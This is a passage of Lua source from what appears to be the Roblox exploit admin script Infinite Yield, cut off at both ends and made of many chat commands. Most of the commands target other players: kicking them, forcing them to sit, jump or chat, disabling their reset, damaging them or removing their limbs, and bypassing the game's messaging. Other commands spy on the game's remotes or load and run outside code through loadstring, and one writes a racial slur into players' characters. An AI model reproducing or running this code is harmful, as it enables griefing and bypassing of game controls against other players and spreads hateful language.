"rbxassetid://1300129774" local eye1w = Instance.new("Weld",char) eye1w.Part0 = char.HumanoidRootPart eye1w.Part1 = eye1 eye1w.C1 = CFrame.new(0,-1.3,0.7) end) end end) addcmd('delete', 'removes any part with a certain name from the workspace',{'remove'}, function(args, speaker) part = GLS(false, 0) local function dels(instance) for i,v in pairs(instance:GetChildren())do if v.Name:lower() == part:lower() then v:Destroy() end dels(v) end end dels(workspace) Notify('Deleted ' ..GLS(false, 0)) end) addcmd('deleteclass', 'removes any part with a certain classname from the workspace',{'removeclass','deleteclassname','removeclassname'}, function(args, speaker) part = GLS(false, 0) local function dels(instance) for i,v in pairs(instance:GetChildren())do if v.ClassName:lower() == part:lower() then v:Destroy() end dels(v) end end dels(workspace) Notify('Deleted items with ClassName ' ..GLS(false, 0)) end) addcmd('blur', 'adjusts blur',{}, function(args, speaker) local function dels(instance) for i,v in pairs(instance:GetChildren())do if v:IsA'BlurEffect'then v:Destroy()end dels(v) end end dels(LightingService) local b = Instance.new("BlurEffect", LightingService) b.Name = "IYblur" b.Size = args[1] end) addcmd('volume','changes volume of sound',{'vol'}, function(args, speaker) for i,v in pairs(workspace:GetChildren())do if v:IsA("Sound") and v.Name == "IYsound" then v.Volume = args[1] Notify('Changed volume to ' .. args[1]) end end end) addcmd('pitch','changes pitch of sound',{}, function(args, speaker) for i,v in pairs(workspace:GetChildren())do if v:IsA("Sound") and v.Name == "IYsound" then v.Pitch = args[1] Notify('Changed pitch to ' .. args[1]) end end end) addcmd('loadmap', 'spawns a map',{}, function(args, speaker) local m = args[1] for _,v in pairs(workspace:GetChildren()) do if not v:IsA("Terrain") and v ~= workspace.CurrentCamera and not gPlayers:GetPlayerFromCharacter(v) then v:Remove() elseif v:IsA("Terrain") then v:Clear() end end for i,v in pairs(workspace.Terrain:GetChildren()) do v:Remove() end wait(1) game:GetObjects("rbxassetid://" .. m)[1].Parent = workspace end) addcmd('loadm','loads global messaging',{}, -- global message method by HARKINIAN @ V3RMILLION function(args, speaker) msghook() if MSGhook == false then wait(0.1) local localp = game:GetService'Players'.LocalPlayer localp.CharacterAppearanceId = 20018 gPlayers.LocalPlayer.Character.Humanoid.Health = 0 wait(3) gPlayers.LocalPlayer.Character:WaitForChild("Humanoid") wait(0.5) repeat wait() until gPlayers.LocalPlayer.Character.Humanoid.Health > 0 Instance.new("ForceField", gPlayers.LocalPlayer.Character) repeat wait() until localp.Character:FindFirstChild'BunnyEarsOfCaprice' _G.mainhat = localp.Character:FindFirstChild'BunnyEarsOfCaprice':Clone() localp.CharacterAppearanceId = 0 gPlayers.LocalPlayer.Character.Humanoid.Health = 0 if _G.mainhat ~= nil then local main = _G.mainhat.Handle.BunnyTools.EggScript3:Clone() local localp = game:GetService'Players'.LocalPlayer local part = Instance.new('Part') part.Anchored = true part.Transparency = 1 main.Disabled = false main.Parent = part _G.mainhat.Handle.BunnyTools.EggMesh3:Clone().Parent = part Instance.new('ForceField', localp.Character) localp.Character.HumanoidRootPart.Anchored = true part.Parent = localp.Character part.CFrame = localp.Character.HumanoidRootPart.CFrame wait(0.5) localp.Character.HumanoidRootPart.Anchored = false repeat wait() until localp:FindFirstChild'ChessMsg' part:Remove() local message = localp:FindFirstChild'ChessMsg' message.Text = '' message.Parent = workspace message.Name = "IYmessage" if part ~= nil then part:Remove() end localp.Character.HumanoidRootPart.Anchored = false for _, child in pairs( workspace:GetChildren()) do if child.Name == "Part" and child.Size == Vector3.new(8, 0.4, 8) then child:Destroy() end end if localp.Character:FindFirstChild'ForceField' then localp.Character.ForceField:Remove() end if localp.Character:FindFirstChild'ForceField' then localp.Character.ForceField:Remove() end if _G.msg ~= nil then Notify('Loaded global message bypass') else warn'failed sadly' end end elseif MSGhook == true then Notify('Messages already loaded!') end end) addcmd('countdown', 'makes a countdown', {}, function(args, speaker) local players = getPlayer(args[1], speaker) if args[1] ~= string then local time = args[1] msghook() if MSGhook == true then local h = workspace.IYmessage for i = time, 1, -1 do wait(1) h.Text = "Countdown: "..i.."" end wait(1) h.Text = "Times Up!" wait(2) h.Text = '' elseif MSGhook == false then execCmd("loadm") repeat wait() until workspace:FindFirstChild("IYmessage") local h = workspace.IYmessage for i = time, 1, -1 do wait(1) h.Text = "Countdown: "..i.."" end wait(1) h.Text = "Times Up!" wait(2) h.Text = '' end end end) addcmd('explode', 'explode a player', {}, function(args, speaker) local players = getPlayer(args[1], speaker) for i, v in pairs(players) do local char = _char(v) if char:FindFirstChild("HumanoidRootPart") then Instance.new("Explosion", char).Position = char.HumanoidRootPart.Position end end end) addcmd('flood', 'makes a flood e.e', {}, function(args, speaker) workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end) addcmd('spookyify', 'makes it sp00ky', {}, function(args, speaker) local music = Instance.new("Sound", workspace) music.SoundId = "http://www.roblox.com/asset/?id=257569267" music.Volume = 20 music.Looped = true music:Play() tex1 = "http://www.roblox.com/asset/?id=185495987" tex2 = "http://www.roblox.com/asset/?id=260858020" tex3 = "http://www.roblox.com/asset/?id=149213919" tex4 = "http://www.roblox.com/asset/?id=171905673" local w = workspace:GetChildren() for i= 1,#w do if w[i]:isA("BasePart") then pe = Instance.new("ParticleEmitter", w[i]) pe.Texture = tex4 pe.VelocitySpread = 5 end end local playerLeaderstats = {} for i, v in pairs(gPlayers:GetChildren()) do table.insert(playerLeaderstats, v) end for i, v in pairs(playerLeaderstats) do pe = Instance.new("ParticleEmitter",v.Character.HumanoidRootPart) pe.Texture = "http://www.roblox.com/asset/?id=171905673" pe.VelocitySpread = 50 end texture = "http://www.roblox.com/asset/?id=185495987" local A = workspace:GetChildren() local B = workspace:GetChildren() local C = workspace:GetChildren() local D = workspace:GetChildren() local E = workspace:GetChildren() local F = workspace:GetChildren() for i,v in pairs(A) do if v:IsA("Part") then local d = Instance.new("Decal",v) v.Decal.Face = "Top" v.Decal.Texture = texture v.Anchored = true end end for i,v in pairs(B) do if v:IsA("Part") then local s = Instance.new("Decal",v) s.Face = "Front" s.Texture = texture end end for i,v in pairs(C) do if v:IsA("Part") then local h = Instance.new("Decal",v) h.Face = "Back" h.Texture = texture end end for i,v in pairs(D) do if v:IsA("Part") then local j = Instance.new("Decal",v) j.Face = "Left" j.Texture = texture end end for i,v in pairs(E) do if v:IsA("Part") then local k = Instance.new("Decal",v) k.Face = "Right" k.Texture = texture end end for i,v in pairs(F) do if v:IsA("Part") then local l = Instance.new("Decal",v) l.Face = "Bottom" l.Texture = texture end imageOne = "http://www.roblox.com/asset/?id=169585459" imageTwo = "http://www.roblox.com/asset/?id=169585475" imageThree = "http://www.roblox.com/asset/?id=169585485" imageFour = "http://www.roblox.com/asset/?id=169585502" imageFive = "http://www.roblox.com/asset/?id=169585515" imageSix = "http://www.roblox.com/asset/?id=169585502" imageSeven = "http://www.roblox.com/asset/?id=169585485" imageEight = "http://www.roblox.com/asset/?id=169585475" Spooky = Instance.new("Sound", workspace) Spooky.Name = "Spooky" Spooky.SoundId = "rbxassetid://174270407" Spooky.Volume = 15 Spooky.Looped = true Spooky:Play() Sky = Instance.new("Sky", LightingService) Sky.SkyboxBk = imageOne Sky.SkyboxDn = imageOne Sky.SkyboxFt = imageOne Sky.SkyboxLf = imageOne Sky.SkyboxRt = imageOne Sky.SkyboxUp = imageOne while true do Sky.SkyboxBk = imageOne Sky.SkyboxDn = imageOne Sky.SkyboxFt = imageOne Sky.SkyboxLf = imageOne Sky.SkyboxRt = imageOne Sky.SkyboxUp = imageOne wait(0.15) Sky.SkyboxBk = imageTwo Sky.SkyboxDn = imageTwo Sky.SkyboxFt = imageTwo Sky.SkyboxLf = imageTwo Sky.SkyboxRt = imageTwo Sky.SkyboxUp = imageTwo wait(0.15) Sky.SkyboxBk = imageThree Sky.SkyboxDn = imageThree Sky.SkyboxFt = imageThree Sky.SkyboxLf = imageThree Sky.SkyboxRt = imageThree Sky.SkyboxUp = imageThree wait(0.15) Sky.SkyboxBk = imageFour Sky.SkyboxDn = imageFour Sky.SkyboxFt = imageFour Sky.SkyboxLf = imageFour Sky.SkyboxRt = imageFour Sky.SkyboxUp = imageFour wait(0.15) Sky.SkyboxBk = imageFive Sky.SkyboxDn = imageFive Sky.SkyboxFt = imageFive Sky.SkyboxLf = imageFive Sky.SkyboxRt = imageFive Sky.SkyboxUp = imageFive wait(0.15) Sky.SkyboxBk = imageSix Sky.SkyboxDn = imageSix Sky.SkyboxFt = imageSix Sky.SkyboxLf = imageSix Sky.SkyboxRt = imageSix Sky.SkyboxUp = imageSix wait(0.15) Sky.SkyboxBk = imageSeven Sky.SkyboxDn = imageSeven Sky.SkyboxFt = imageSeven Sky.SkyboxLf = imageSeven Sky.SkyboxRt = imageSeven Sky.SkyboxUp = imageSeven wait(0.15) Sky.SkyboxBk = imageEight Sky.SkyboxDn = imageEight Sky.SkyboxFt = imageEight Sky.SkyboxLf = imageEight Sky.SkyboxRt = imageEight Sky.SkyboxUp = imageEight wait(0.15) end end end) addcmd('invisible', 'make a player invisible',{'invis'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i, v in pairs(players) do for k, v2 in pairs(_char(v):GetChildren()) do if v2.className == "Part" then if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 1 end elseif v2.className == "Accessory" then if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 1 end end if v2:FindFirstChild("face") then v2.face.Transparency = 1 end end end end) addcmd('visible', 'make a player visible',{'vis'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i, v in pairs(players) do for k, v2 in pairs(_char(v):GetChildren()) do if v2.className == "Part" then if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 0 end elseif v2.className == "Accessory" then if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 0 end end if v2:FindFirstChild("face") then v2.face.Transparency = 0 end end end end) addcmd('goto', 'go to a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil and _char(players[1]):FindFirstChild("HumanoidRootPart") then speaker.Character.HumanoidRootPart.CFrame = _char(players[1]).HumanoidRootPart.CFrame end end) addcmd('bring', 'bring a player to you',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("HumanoidRootPart") then _char(v).HumanoidRootPart.CFrame = speaker.Character.HumanoidRootPart.CFrame end end end) local WayPoints = {} addcmd("savepos","sets a waypoint at the speaker's position",{'spos'}, function(args, speaker) local WPName = tostring(GLS(false, 0)) if speaker.Character:findFirstChild("HumanoidRootPart") then Notify("Created waypoint: "..GLS(false, 0)) local torso = speaker.Character:findFirstChild("HumanoidRootPart") WayPoints[#WayPoints + 1] = {NAME = WPName, COORD = {math.floor(torso.Position.X), math.floor(torso.Position.Y), math.floor(torso.Position.Z)}} updatepositions() end end) addcmd("deletepos","sets a waypoint at the speaker's position",{'dpos'}, function(args, speaker) for i,v in pairs(WayPoints) do if v.NAME == tostring(GLS(false, 0)) then Notify("Deleted waypoint: " .. v.NAME) table.remove(WayPoints, i) updatepositions() end end end) addcmd("loadpos","teleports a player to a waypoint",{'lpos'}, function(args, speaker) local players = getPlayer(args[1], speaker) local WPName = tostring(GLS(false, 1)) for i,v in pairs(players) do if gPlayers[v] and gPlayers[v].Character then for i,_ in pairs(WayPoints) do local x = WayPoints[i].COORD[1] local y = WayPoints[i].COORD[2] local z = WayPoints[i].COORD[3] if tostring(WayPoints[i].NAME) == tostring(WPName) then gPlayers[v].Character.HumanoidRootPart.CFrame = CFrame.new(x,y,z) end end end end end) addcmd('tp', 'teleport player 1 to player 2',{}, function(args, speaker) local players1=getPlayer(args[1], speaker) local players2=getPlayer(args[2], speaker) if not players2[1] then return end for i,v in pairs(players1) do if _char(v):FindFirstChild("HumanoidRootPart") and _char(players2[1]):FindFirstChild("HumanoidRootPart") then _char(v).HumanoidRootPart.CFrame = _char(players2[1]).HumanoidRootPart.CFrame wait(0.1) _char(v).HumanoidRootPart.CFrame = _char(players2[1]).HumanoidRootPart.CFrame end end end) addcmd('charplr','charplr [plr] [plr]',{'cp'}, function(args, speaker) local players1, players2 = getPlayer(args[1], speaker), getPlayer(args[2], speaker) for i,v in pairs(players1) do for a,b in pairs(players2) do if _players[v].Character and _players[b].Character then _players[v].CharacterAppearanceId = _players[b].userId refresh(_players[v]) end end end end) addcmd('copytools', 'copys the tools from a players backpack',{'ctools','clonetools'}, function(args, speaker) local players1, players2 = getPlayer(args[1], speaker), getPlayer(args[2], speaker) for i,v in pairs(players1) do for a,b in pairs(players2) do spawn(function() for i,v in pairs(_players[v].Backpack:GetChildren()) do if v:IsA('Tool') or v:IsA('HopperBin') then if not _players[b] then v:Clone().Parent = speaker.Backpack else v:Clone().Parent = _players[b].Backpack end end end end) end end end) addcmd('char', 'change a players appearance',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if not args[1]or not args[2]then return end local id=args[2] if players ~= nil then for i,v in pairs(players) do gPlayers[v].CharacterAppearanceId = id refresh(gPlayers[v]) end end end) addcmd('unchar', 'change a players appearance to default',{'nochar','uncp','nocp','uncharplr','nocharplr'}, function(args, speaker) local players = getPlayer(args[1], speaker) if players ~= nil then for i,v in pairs(players) do gPlayers[v].CharacterAppearanceId = 0 refresh(gPlayers[v]) end end end) addcmd('speed', 'change a players walkspeed',{'ws'}, function(args, speaker) local players = getPlayer(args[1], speaker) if not args[1]or not args[2]then return end local num=args[2] for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.WalkSpeed=tonumber(num) end end end) addcmd('jump', 'forces a player to jump',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.Jump = true end end end) jumping = {} addcmd('loopjump','like a bunny :)',{'ljump'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(jumping, _players[v].Name) then return end table.insert(jumping, _players[v].Name) repeat wait(0.01) if _players[v].Character.Humanoid.Jump ~= true then _players[v].Character.Humanoid.Jump = true end until not FindTable(jumping, _players[v].Name) end) end end) addcmd('unljump','unjails player',{'noljump','unloopjump','noloopjump'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for a,b in pairs(jumping) do if b == _players[v].Name then table.remove(jumping, a) end end end) end end) addcmd('sit', 'sit a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.Sit = true end end end) sitting = {} addcmd('loopsit','very annoying',{'lsit'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(sitting, _players[v].Name) then return end table.insert(sitting, _players[v].Name) repeat wait(0.01) if _players[v].Character.Humanoid.Sit ~= true then _players[v].Character.Humanoid.Sit = true end until not FindTable(sitting, _players[v].Name) end) end end) addcmd('unlsit','unjails player',{'nolsit','unloopsit','noloopsit'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for a,b in pairs(sitting) do if b == _players[v].Name then table.remove(sitting, a) end end end) end end) addcmd('trip','makes a player trip',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if _players[v].Character:findFirstChild("Right Leg") then -- credz to Zwolf#3762 local dir = _players[v].Character:findFirstChild("Right Leg") dir.Anchored = true if dir.Anchored == true then wait(.5) _players[v].Character.Humanoid.Sit = true wait(1) _players[v].Character.Humanoid.Sit = false dir.Anchored = false end end end) end end) oofing = false addcmd('loopoof','very VERY annoying',{}, function(args, speaker) oofing = true repeat wait(0.01) for i,v in pairs(game:GetService'Players':GetPlayers()) do if v.Character ~= nil and v.Character:FindFirstChild'Head' then for _,x in pairs(v.Character.Head:GetChildren()) do if x:IsA'Sound' then x.Playing = true end end end end until oofing == false end) addcmd('unloopoof','stops the oof chaos',{}, function(args, speaker) oofing = false end) addcmd('jpower', 'change a players jump height',{'grav','jumppower','jp'}, function(args, speaker) local players = getPlayer(args[1], speaker) if not args[1]or not args[2]then return end local num=args[2] for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.JumpPower=tonumber(num) end end end) addcmd('confuse', 'confusing...',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do spawn(function() if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.Name = "ConfusedNigga" while true do _char(v).ConfusedNigga.CameraOffset = Vector3.new(2, 4, 6) _char(v).ConfusedNigga.WalkToPoint = Vector3.new(math.random(1,100), math.random(1,100), math.random(1,100)) wait(0.1) end end end) end end) addcmd('unconfuse', 'not confusing...',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do spawn(function() if _char(v):FindFirstChild("ConfusedNigga") then _char(v).ConfusedNigga.Name = "Humanoid" wait(0.3) _char(v).Humanoid.CameraOffset = Vector3.new(0, 0, 0) end end) end end) addcmd('cripple', 'cripples a player xddd',{'stun'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.PlatformStand = true end end end) addcmd('uncripple', 'un cripples a player xddd',{'unstun'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.PlatformStand = false end end end) addcmd('hipheight', 'adjusts hip height',{'hheight'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v):FindFirstChild("Humanoid") then _char(v).Humanoid.HipHeight = args[2] end end end) addcmd('face', 'change a players face',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if _char(v).Head:FindFirstChild("face") then _char(v).Head.face.Texture = "rbxassetid://" .. args[2] end end end) addcmd('time', 'change the time of day',{}, function(args, speaker) if not args[1]then return end Notify('Time set to ' .. args[1]) LightingService.ClockTime = args[1] end) addcmd('day', 'change the time to day',{}, function(args, speaker) LightingService.ClockTime = 15 end) addcmd('night', 'change the time of night',{}, function(args, speaker) LightingService.ClockTime = 0 end) addcmd('globalshadows', 'changes the lighting property',{'gshadows'}, function(args, speaker) Notify('Turned on global shadows') LightingService.GlobalShadows = true end) addcmd('unglobalshadows', 'changes the lighting property',{'nogshadows','ungshadows','noglobalshadows'}, function(args, speaker) Notify('Turned off global shadows') LightingService.GlobalShadows = false end) addcmd('outlines', 'changes the lighting property',{}, function(args, speaker) Notify('Turned on outlines') LightingService.Outlines = true end) addcmd('unoutlines', 'changes the lighting property',{'nooutlines'}, function(args, speaker) Notify('Turned off outlines') LightingService.Outlines = false end) addcmd('brightness', 'changes the lighting property',{}, function(args, speaker) Notify('Set brightness to ' .. args[1]) LightingService.Brightness = args[1] end) addcmd('age','tells you the age of a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if speaker.userId ~= LP.userId then lponly(speaker) else for i,v in pairs(players) do game:FindService('StarterGui'):SetCore('SendNotification', { Title = _players[v].Name, Text = 'Age: '.._players[v].AccountAge, Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]].._players[v].Name..[[&RAND]] .. math.random(1,100000000), Duration = 5, }) end end end) addcmd('remotespy', 'prints remotes',{'remotes'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else Notify('Printing remotes') function getem(o) for i,v in pairs(o:children())do if string.match(v.ClassName, "RemoteEvent") or string.match(v.ClassName, "RemoteFunction") then print("Name: "..v.Name.." | ".."Type: "..v.ClassName.." | ".."Location: ".."game."..v:GetFullName()) end getem(v) end end pcall(getem,game) end end) addcmd('f3x', 'loads f3x tools',{'fex'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else loadstring(game:GetObjects("rbxassetid://1059691823")[1].Source)() end end) addcmd('kick', 'kick a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do spawn(function() if FindTable(SPC, args[1]) then Notify('Kicked ' ..args[1]) else Notify('Kicked player(s)') end kickF(gPlayers[v]) end) end end) addcmd('serverlock', 'lock teh server',{'slock'}, function(args, speaker) slock = true Notify('Locked Server') end) addcmd('unserverlock', 'unlock teh server',{'unslock'}, function(args, speaker) slock = false Notify('Unlocked Server') end) addcmd('agelock', 'lock teh server for a certain age',{'alock'}, function(args, speaker) if isNumber(args[1]) then Notify('Set the age lock to age ' .. args[1]) isagelocked = true agelock = tonumber(args[1]) end end) addcmd('unagelock', 'lock teh server for a certain age',{'unalock','noagelock','noalock'}, function(args, speaker) Notify('Disabled age lock') isagelocked = false end) addcmd('unlockws', 'unlock the whole workspace',{}, function(args, speaker) Notify('Workspace unlocked') wait(1) local function unlock(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Locked = false end unlock(v) end end unlock(workspace) end) addcmd('lockws', 'lock the whole workspace',{}, function(args, speaker) Notify('Workspace locked') wait(1) local function lock(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Locked = true end lock(v) end end lock(workspace) end) addcmd('unanchorws', 'unanchor the whole workspace',{'unanchor', 'unanchr'}, function(args, speaker) local function unanchor(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Anchored=false end unanchor(v) end end unanchor(workspace) end) addcmd('anchorws', 'anchor the whole workspace',{'anchor'}, function(args, speaker) local function anchor(instance) for i,v in pairs(instance:GetChildren()) do if v:IsA("BasePart") then v.Anchored=true end anchor(v) end end anchor(workspace) end) addcmd('clear', 'resets Workspace to a baseplate',{'clearws','clearworkspace'}, function() for _,v in pairs(workspace:GetChildren()) do if not v:IsA("Terrain") and v ~= workspace.CurrentCamera and not gPlayers:GetPlayerFromCharacter(v) then v:Remove() elseif v:IsA("Terrain") then v:Clear() end end for i,v in pairs(workspace.Terrain:GetChildren()) do v:Remove() end local p = Instance.new("Part", workspace) p.Anchored = true p.FormFactor = "Symmetric" p.Size = Vector3.new(1000,1,1000) p.Position = Vector3.new(0,0,0) p.BrickColor = BrickColor.new("Bright green") p.Material = "Grass" p.Locked = true end) addcmd('headshake', 'shakes a players head',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do spawn(function() local shaken = gPlayers[v].Character for X = 1, math.huge, 0.2 do wait() shaken.Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0) shaken.Torso.Neck.C1 = CFrame.new(0,0,0) end for X = 1, math.huge, 0.1 do wait() shaken.Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X) shaken.Torso.Neck.C1 = CFrame.new(0,0,0) end for _,c in pairs(gPlayers:GetChildren()) do c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100) end for _,c in pairs(gPlayers:GetChildren()) do c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25) end end) end end) addcmd('explorer', 'opens DEX',{'dex'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)() end end) addcmd('firstp', 'forces player to go into first person',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do gPlayers[v].CameraMode = "LockFirstPerson" end end) addcmd('lock', 'locks a players body parts',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do for i,v in pairs(gPlayers[v].Character:GetDescendants()) do if v:IsA("Part") then v.Locked = true end end end end) addcmd('unlock', 'locks a players body parts',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do for i,v in pairs(gPlayers[v].Character:GetDescendants()) do if v:IsA("Part") then v.Locked = false end end end end) addcmd('disablereset', 'makes a player unable to reset',{'noreset'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() gPlayers[v].Character.Humanoid.Name = "HumanoidIY" if FindTable(SPC, args[1]) then Notify('Disabled reset for ' .. args[1]) else Notify('Disabled reset for player(s)') end end) end end) addcmd('enablereset', 'makes a player unable to reset',{'reset'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() gPlayers[v].Character.HumanoidIY.Name = "Humanoid" if FindTable(SPC, args[1]) then Notify('Enabled reset for ' .. args[1]) else Notify('Enabled reset for player(s)') end end) end end) addcmd("fixlighting","Removes effects from lighting",{'fixl'}, function(args,speaker) for i,v in pairs(game:GetService("Lighting"):GetChildren()) do if v:IsA("PostEffect") then v:Destroy() end end LightingService.Ambient = origsettings.abt LightingService.OutdoorAmbient = origsettings.oabt LightingService.Brightness = origsettings.brt LightingService.TimeOfDay = origsettings.time LightingService.FogColor = origsettings.fclr LightingService.FogEnd = origsettings.fe LightingService.FogStart = origsettings.fs end) addcmd("savelighting","Removes effects from lighting",{'slighting'}, function(args,speaker) origsettings = {abt = LightingService.Ambient, oabt = LightingService.OutdoorAmbient, brt = LightingService.Brightness, time = LightingService.TimeOfDay, fclr = LightingService.FogColor, fe = LightingService.FogEnd, fs = LightingService.FogStart} Notify('Saved lighting settings') end) addcmd("blackandwhite","Makes the game black and white",{}, function(args,speaker) local lighting = game:GetService("Lighting") local effect = Instance.new("ColorCorrectionEffect",lighting) effect.Saturation = -1 end) addcmd("invert","Makes the game inverted",{}, function(args,speaker) local lighting = game:GetService("Lighting") local effect = Instance.new("ColorCorrectionEffect",lighting) effect.Saturation = -1 local effect = Instance.new("ColorCorrectionEffect",lighting) effect.Saturation = -1 end) addcmd("sun","Intensifys the sun",{}, function(args,speaker) local intense = args[1] or 0.25 local spread = args[2] or 1 local lighting = game:GetService("Lighting") local effect = Instance.new("SunRaysEffect",lighting) effect.Name = "IYsun" effect.Intensity = tonumber(intense) effect.Spread = tonumber(spread) end) addcmd('base', 'spawns a base',{}, function(args, speaker) local pt = Instance.new("Part") pt.BrickColor = BrickColor.new("Silver") pt.Anchored = true pt.CanCollide = true pt.BottomSurface = "Weld" pt.Parent = workspace pt.Name = (math.random(1,1000000)) pt.Size = Vector3.new(1000, 1, 1000) pt.Locked = true Notify('Created new base') end) addcmd('unblur', 'removes all blur instances',{'noblur'}, function(args, speaker) for i,v in pairs(LightingService:GetChildren()) do if v:IsA('BlurEffect') then v:Remove() end end end) addcmd('thirdp', 'allows player to go into third person',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do gPlayers[v].CameraMode = "Classic" end end) addcmd('chat', 'forces player to chat what you input',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do game:GetService('Chat'):Chat(gPlayers[v].Character, GLS(false, 1), 3) end end) addcmd('name', 'names player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) if not args[1] then return end for i,v in pairs(players) do for a, mod in pairs(gPlayers[v].Character:children()) do if mod:FindFirstChild("TAG") then gPlayers[v].Character.Head.Transparency = 0 mod:Destroy() end end local char = gPlayers[v].Character local model = Instance.new("Model", char) local clone = char.Head:Clone() local hum = Instance.new("Humanoid", model) local weld = Instance.new("Weld", clone) model.Name = GLS(false, 1) clone.Parent = model hum.Name = "TAG" hum.MaxHealth = 100 hum.Health = 100 weld.Part0 = clone weld.Part1 = char.Head char.Head.Transparency = 1 end end) addcmd('unname', 'unnames player',{'unhidename'}, function(args, speaker) local players = getPlayer(args[1], speaker) local name = (args[2]) for i,v in pairs(players) do for a, mod in pairs(gPlayers[v].Character:children()) do if mod:FindFirstChild("TAG") then gPlayers[v].Character.Head.Transparency = 0 mod:Destroy() end end end end) addcmd('noname', 'hides the players name',{'hidename'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do for a, mod in pairs(gPlayers[v].Character:children()) do if mod:FindFirstChild("TAG") then gPlayers[v].Character.Head.Transparency = 0 mod:Destroy() end end local char = gPlayers[v].Character local model = Instance.new("Model", char) local clone = char.Head:Clone() local hum = Instance.new("Humanoid", model) local weld = Instance.new("Weld", clone) model.Name = "" clone.Parent = model hum.Name = "TAG" hum.MaxHealth = 100 hum.Health = 100 weld.Part0 = clone weld.Part1 = char.Head char.Head.Transparency = 1 end end) addcmd('damage', 'damages a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do gPlayers[v].Character.Humanoid.Health = gPlayers[v].Character.Humanoid.Health - 25 end end) addcmd('view', 'views player',{'spectate'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do workspace.CurrentCamera.CameraSubject = gPlayers[v].Character Notify('Viewing ' .. gPlayers[v].Name) end end) addcmd('unview', 'stops viewing player',{'unspectate'}, function() workspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character Notify('View turned off') end) addcmd('nolimbs', 'removes limbs from player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do for i,v in pairs(gPlayers[v].Character:GetChildren()) do if v:IsA("BasePart") and v.Name == "Right Leg" or v.Name == "Left Leg" or v.Name == "Right Arm" or v.Name == "Left Arm" then v:Remove() end end end end) addcmd('box', 'creates a box around player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) local SB = Instance.new("SelectionBox", pchar) SB.Adornee = SB.Parent end end) addcmd('nobox', 'takes away box from player',{'unbox'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=_char(v) for i,v in pairs(gPlayers[v].Character:GetChildren()) do if v:IsA("SelectionBox") then v:Destroy() end end end end) addcmd('ghost', 'ghostifys player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar=gPlayers[v].Character pchar.Head.Transparency = 0.5 pchar.Torso.Transparency = 0.5 pchar["Left Arm"].Transparency = 0.5 pchar["Right 